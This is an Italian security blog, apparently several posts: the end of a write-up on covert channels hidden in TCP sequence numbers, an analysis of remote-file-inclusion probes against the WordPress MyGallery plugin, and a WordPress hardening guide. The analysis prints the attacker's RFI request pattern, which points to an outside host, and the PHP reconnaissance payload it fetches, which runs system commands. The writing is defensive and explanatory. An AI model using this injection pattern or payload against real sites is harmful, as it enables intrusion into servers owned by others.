I limiti sono che B non può inviare dati al malware e che il malware può inviare dati al ritmo di soli tre byte per ogni pacchetto TCP SYN inviato dal computer compromesso. L’integrità della comunicazione è assicurata dal meccanismo di funzionamento del protocollo TCP stesso: se dovesse andare perso un qualsiasi pacchetto, il computer compromesso lo ritrasmetterebbe automaticamente perché richiesto dal protocollo stesso. Dato che B si trova fra A e X, se X riceve un pacchetto, lo riceve anche B. Quindi anche l’integrità è assicurata.

Per evitare di essere scoperta troppo facilmente, la comunicazione usa anche una cifratura derivata dal DES, che garantisce anche una relativa casualità nei valori di ISN forgiati. In questo modo si evita di insospettire per l’inevitabile regolarità dovuta alla presenza di dati sensati in un posto dove non dovrebbero essercene.

In conclusione: abbiamo la possibilità di creare un canale sicuro e coperto con il computer compromesso, senza scambiare direttamente neanche un singolo pacchetto.

La stessa tecnica si può applicare sfruttando altri elementi di un qualsiasi altro protocollo, ad esempio, citando Joanna, i cookie http, oppure i pacchetti TCP di tipo SYN/ACK, utili se ad essere compromesso è un server.

Oggi

C’è poco altro da aggiungere. Joanna nella presentazione ha mostrato anche come accorgersi che quello che dovrebbe essere casuale non lo è, chiudendo il cerchio, come dovrebbe fare ogni hacker degno di questo appellativo.

Per il resto, gli attuali malware a grande diffusione sono tutt’altro che sofisticati, preferendo colpire la massa con poco sforzo piuttosto che spendere energie per colpire pochi ma buoni. Tanto, come ho più volte affermato, a chi crea virus interessa sfruttare le risorse del computer colpito, creando botnet, e niente altro. Malware più sofisticati sono l’eccezione, e si preferisce utilizzare la legge dell’ottanta/venti: il venti per cento dello sforzo necessario a creare un malware realmente pericoloso è sufficiente a creare un malware che colpisca l’ottanta per cento dei computer del pianeta. Perché pagare di più?

Flash Player plugin: attenti alle versioni a pagamento.

Stavo leggendo la mia posta, quando lo sguardo mi è caduto nella riga in alto con gli annunci di Google. Ecco il frammento della pagina:

Cliccando sul link si arriva a questo sito:

Potevo resistere? Naturalmente no. Ecco i risultati dell’indagine.

Continua a leggere

Owned WordPress: ora tocca ai plugin

Ecco uno dei prossimi vettori di infezione dei blog basati su WordPress, dopo le versioni non aggiornate e i temi troianizzati. E non c’è di che stare allegri, proprio no.

L’antefatto

Il test per la verifica dei blog basati su WordPress ha un controllo per verificare ed eventualmente riportare tentativi di hacking. Non è che ci sia molto da bucare, ma visto che non sono onnisciente, meglio un controllo in più che uno in meno, tanto più che costa veramente poco in termini di risorse di elaborazione.

In breve, viene sia controllato l’URL inserito nella casella di testo, sia l’URL completo con cui viene invocato il test stesso, infine viene controllato se vi siano dati extra nella richiesta POST. Proprio il controllo dell’URL di invocazione del test sta segnalando da qualche settimana uno strano schema, ripetuto parecchie volte al giorno.

L’analisi

Il test viene chiamato con dati aggiuntivi nell’URL, associati ad un nome specifico, sempre quello. Lo user agent è sempre libwww-perl/5.805 (può cambiare la versione). L’URL ha questo schema:

http://server/file.php?myPath=http://altrosito/directory/file.txt??

Lo schema sembra proprio quello di un tentativo di RFI (Remote File Inclusion). Prelevando a mano il file che si tenta di includere si scopre questo:


<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;} $used = ConvertBytes($all1-$free1);
$os = @PHP_OS; echo "0sirys was here ..<br>"; echo "uname -a: $un<br>"; echo "os: $os<br>"; echo "id: $id1<br>"; echo "free: $free<br>"; echo "used: $used<br>"; echo "total: $all<br>"; exit;

Questo codice PHP è innocuo: si limita a raccogliere informazioni sul server dove viene eseguito e riportarle in una semplice pagina HTML. Le informazioni che raccoglie sono: nome e versione del sistema operativo, nome del server, user con cui viene eseguito lo script PHP (lo stesso del web server), spazio disco. Qualcosa del genere:


0sirys was here ..
uname -a: Linux hawking 2.6.25.11-60.fc8 #1 SMP Mon Jul 21 02:06:29 EDT 2008 i686
os: Linux
id: uid=500(mario) gid=500(mario) gruppi=500(mario)
free: 148.28 Gb
used: 77.31 Gb
total: 225.59 Gb

i dati sono quelli che vengono fuori eseguendo lo script sul mio computer con il comando php -f script.php, usando l’interprete PHP-cli.

La vulnerabilità cercata è nel plugin MyGallery versione 1.2.x o precedenti, nello specifico questa documentata da Secunia vecchia di oltre un anno. La vulnerabilità è classificata come altamente critica, permettendo l’inclusione e l’esecuzione di file PHP presi ovunque semplicemente inserendoli nell’URL come viene fatto appunto nelle richieste che sto ricevendo e che ho mostrato sopra. Se viene verificato che il web server del sito esegue il codice iniettato, può eseguire qualsiasi codice PHP gli venga propinato.

Ho peraltro rilevato una stranezza: non viene selezionato un file specifico per il tentativo, ma vengono “provati” tutti quelli raggiungibili da un qualche link esplicito nel blog. Le cose sono due: o i bot attivi sono “stupidi”, o c’è qualcosa che non sappiamo. Nei principali motori di ricerca non vi è traccia di problemi relativi ad una inclusione tramite variabili myPath, salvo quello appena riportato con il plugin MyGallery.

Rischi e contromisure

Il rischio in questo momento è estremo: ci sono almeno tre differenti bot che cercano attivamente in Rete blog con il plugin installato nella versione vulnerabile, quindi avere il plugin non aggiornato significa trovarsi a breve col blog compromesso. In che modo e per fare cosa non è difficile da immaginare.

L’unica contromisura realmente efficace è aggiornare il plugin, o passare ad altro se l’aggiornamento non è possibile.

Conclusioni

Non dovrebbero essere molti i siti che fanno uso di questo plugin. Se il vostro blog ne fa uso, è proprio il caso di controllare se avete la versione vulnerabile e cambiare immediatamente.

Repliche estive: “Il DNS? Pericolosissimo!” (19 novembre 2006)

Nell’articolo riproposto si parla di un metodo per reperire informazioni da un qualsiasi server DNS in modo perfettamente legittimo. Gli autori dell’articolo originale avevano usato questo sistema per capire quanto fosse diffuso un rootkit inserito da una nota multinazionale nei suoi prodotti. Naturalmente non si parla soltanto di usi pacifici.

Continua a leggere

WordPress: alziamo i deflettori!

Il titolo è ovviamente ad effetto. Dopo aver avuto fra le mani il codice di qualche sito compromesso, ho cominciato a pensare a qualcosa per impedire o mitigare l’effetto di un bug nel codice di WordPress tale da portare ad una intrusione ed all’iniezione di codice malevolo.

Nessuna pretesa di presentare la soluzione definitiva, anzi: chi si occupa di queste cose sa meglio di chiunque altro che ogni software ha innumerevoli modi per essere sovvertito nel funzionamento.

Andiamo con ordine.

L’Hosting

La prima linea di difesa è appunto il metodo di hosting, ossia dove e come è ospitato il nostro blog. Di solito abbiamo a disposizione uno spazio accessibile via FTP (o altri metodi a piacere), un database su MySQL ed un pannello di controllo. Il primo problema viene dal metodo con cui il corrispondente web server accede al nostro spazio: il web server altro non è che un programma che viene eseguito con un certo utente di sistema ed accede in lettura al nostro spazio per prendere i file e presentarli al resto del mondo. Alcuni fornitori adottano la corretta separazione di privilegi fra l’account con cui viene eseguito il web server e l’account con cui accediamo per modificare il nostro sito: il risultato è che i file da noi scritti non possono essere modificati dal web server. Tradotto, vuol dire che se un malintenzionato scopre una falla in WordPress e tenta di sfruttarla per modificare il codice stesso di WordPress, o di scrivere un file aggiuntivo fra quelli del sito, non ci riesce perché il web server ha accesso in sola lettura.

L’effetto collaterale è che alcune funzioni di WordPress non sono disponibili: la modifica dei temi e dei plugin, l’upload di file ed il backup del database su un file nel server. Queste funzioni richiedono appunto che il web server abbia accesso in scrittura e modifica a queste directory e file:

  • wp-content/themes/ e tutti i file presenti in essa per la modifica dei temi
  • wp-content/backup-xxx/ per i backup (se si ha il plugin installato ed attivo)
  • wp-content/uploads/ per i file caricati tramite il manager di WordPress
  • wp-content/plugins/ per i plugin.

Rendere di nuovo utilizzabili queste funzioni è piuttosto facile, al prezzo di diminuire la sicurezza di un po’: si modificano i permessi di accesso ai file ed alle directory interessate consentendo la modifica al web server. E’ pur vero che questa assegnazione può essere granulare, ossia possiamo decidere di permettere solo gli upload, ed assegnare i permessi giusti alla sola directory wp-content/uploads/.

Se invece, come purtroppo succede con alcuni servizi a basso costo, il web server accede con lo stesso account con cui accediamo noi, siamo di fronte ad un potenziale problema di sicurezza che rende molto facile l’attacco da parte di un malintenzionato in presenza di un bug in WordPress che permetta l’iniezione di codice e di file nel sito.
Questo perché il web server può essere costretto a modificare praticamente qualsiasi file fra quelli installati nel nostro sito, e niente glielo impedisce. Nell’altro caso invece, anche in presenza di un bug che permette l’iniezione di codice malevolo, l’operazione fallisce perché il web server non ha i permessi per scrivere o modificare file.

Queste sono le due casistiche che ci si trova di fronte. Nel secondo il rischio è molto maggiore e diventa difficile contrastarlo. Ma qualcosa si può fare. Vediamo.

Le misure minime

Partiamo da alcune impostazioni generali di WordPress:

  • Registrazione degli utenti: se non abbiamo particolari necessità di consentire l’accesso a chiunque voglia registrarsi, è meglio disabilitare la voce relativa alla registrazione aperta a tutti nel pannello di opzioni generali. Gran parte degli attacchi sono facilitati dalla possibilità di registrarsi. In parecchie vecchie versioni di WordPress c’era un bug che permetteva ad un utente registrato di elevare i propri privilegi, anche solo per alcune operazioni, ma tanto bastava ad aprire una breccia nelle difese. Quindi, se non serve, disabilitiamo. Da notare che non è una efficace misura contro lo spam, costringere gli utenti a registrarsi per commentare. Gli spammer non si fanno intimidire, mentre invece si scoraggiano i visitatori “onesti”. E lo spam passa lo stesso. E’ molto più efficace un plugin antispam o la moderazione dei commenti.
  • Cancelliamo i temi non utilizzati: anche quelli “di serie” con WordPress, accertando prima che i file non siano utilizzati dal tema corrente, naturalmente. Se dovesse servire, terremo di scorta il tema di default di WordPress e lo caricheremo sul sito se occorre. Questo perché i file dei temi sono comunque raggiungibili, anche se inutilizzati, ed il percorso per raggiungerli è noto, visto che è uguale per tutte le installazioni. Sono file PHP, quindi passibili di tutti i problemi di qualsiasi altro file PHP. A maggior ragione se il tema non è uno di quelli ufficiali. Potrebbe contenere errori sfruttabili da un malintenzionato, e data la minore diffusione del singolo tema rispetto a WordPress nel complesso, gli eventuali errori potrebbero passare inosservati per molto tempo, esponendo il nostro blog ad un rischio inaccettabile.
  • Cancelliamo i plugin non utilizzati: vale lo stesso discorso fatto per i temi. Anche i plugin sono file PHP, certamente più difficili da raggiungere, nel senso che se sono disabilitati non c’è modo di sapere dall’esterno se siano installati, quindi il lavoro per un malintenzionato è un po’ più difficile. Ma basta guardare quante volte parliamo nel blog stesso dei plugin e dei temi che stiamo provando per capire che troppo spesso l’informazione per il malintenzionato la forniamo noi stessi su un piatto d’argento…

Rinunciamo alla modifica del tema e dei plugin

Per operare su tema e plugin lavoreremo sempre su una copia locale nel nostro computer, per poi trasferire i file modificati sul server. E’ più laborioso ma infinitamente più sicuro. Senza trascurare il fatto di poter usare il nostro editor preferito per modificare i file PHP e CSS del tema o dei plugin.

Per impostare questa limitazione occorre togliere i permessi di scrittura al web server. Se siamo nell’ipotesi dell’utente dedicato differente dal nostro, basta impostare i permessi al valore ottale 0644 per i file e 0755 per le directory a partire da wp-content/plugins/ e wp-content/themes/, che significa: proprietario può leggere e scrivere, tutti gli altri solo leggere, invece dei classici 0666 e 0777 consigliati per abilitare la modifica dal pannello di amministrazione di WordPress.

Se invece siamo nel caso peggiore, quello del web server che accede con lo stesso nostro utente, le modifiche sono molto meno efficaci, anche se niente vieta di applicarle: occorre togliere del tutto il permesso di scrittura, anche a noi stessi, usando il valore ottale 0444 per i file e 0555 per le directory. E’ una misura molto meno efficace perché il permesso di scrittura può essere ripristinato dal proprietario del file o della directory, che in questo caso è l’utente con cui viene eseguito anche il web server: se un malintenzionato riesce ad accedere, può tentare di ripristinare il permesso attraverso un comando in PHP e da lì avere via libera. E’ comunque un ulteriore ostacolo, il che non guasta.

Disinnescare i file in upload

Questa è un po’ più complicata, e richiede l’uso di alcune funzioni del web server che potrebbero non essere abilitate. Si tratta di impedire che un file PHP inserito nella cartella di upload da un malintenzionato possa essere eseguito dall’esterno.

Se abbiamo la registrazione degli utenti inibita, siamo già a buon punto, e questa misura è in un certo senso superflua. Certo, se esistesse un bug così grande in WordPress da permettere l’upload di un file anche senza essere registrati, la prima directory che potrebbe essere utilizzata è proprio quella di upload: per definizione deve essere scrivibile dal web server. A questo punto, basta immaginare un file PHP inserito a bella posta che includa il file di configurazione e mostri utente e password del database, di seguito piazzare un file che permetta di modificare il database e includere un altro file, o se stesso, come plugin di WordPress. Il gioco è fatto.

Ebbene, se il nostro servizio di hosting lo permette è possibile disinnescare l’esecuzione di file PHP nella directory degli upload ed in tutte le sottodirectory, inserendo un file .htaccess nella directory di upload con una singola direttiva:


RemoveHandler .php

Il risultato è che un eventuale file PHP inserito in quella directory non viene interpretato, ma quando fosse invocato via browser verrebbe trattato come un file di testo semplice, e ne verrebbe mostrato il contenuto, ossia non verrebbe eseguito come script PHP.

Questo ovviamente è possibile solo se il servizio di hosting lo permette. Conoscendo il tipo di web server installato e le opzioni abilitate è possibile migliorare di parecchio la sicurezza di WordPress, naturalmente a prezzo di qualche disagio in più.

Conclusioni

Ci sarebbe molto da dire, ancora. Non ho volutamente trattato argomenti abbastanza inflazionati come sicurezza delle password, aggiornamenti di WordPress e spam in commenti e trackback. Certamente l’argomento non è a portata di principiante, come sempre occorre sapere cosa c’è “sotto il cofano”, ma non ci si improvvisa in queste cose. I centinaia di blog WordPress violati presenti in Rete, di cui sto faticosamente tentando di avvertire i proprietari, dimostrano che mentre scrivere in un blog è alla portata di chiunque, mantenere un blog non è proprio banale.

Riferimenti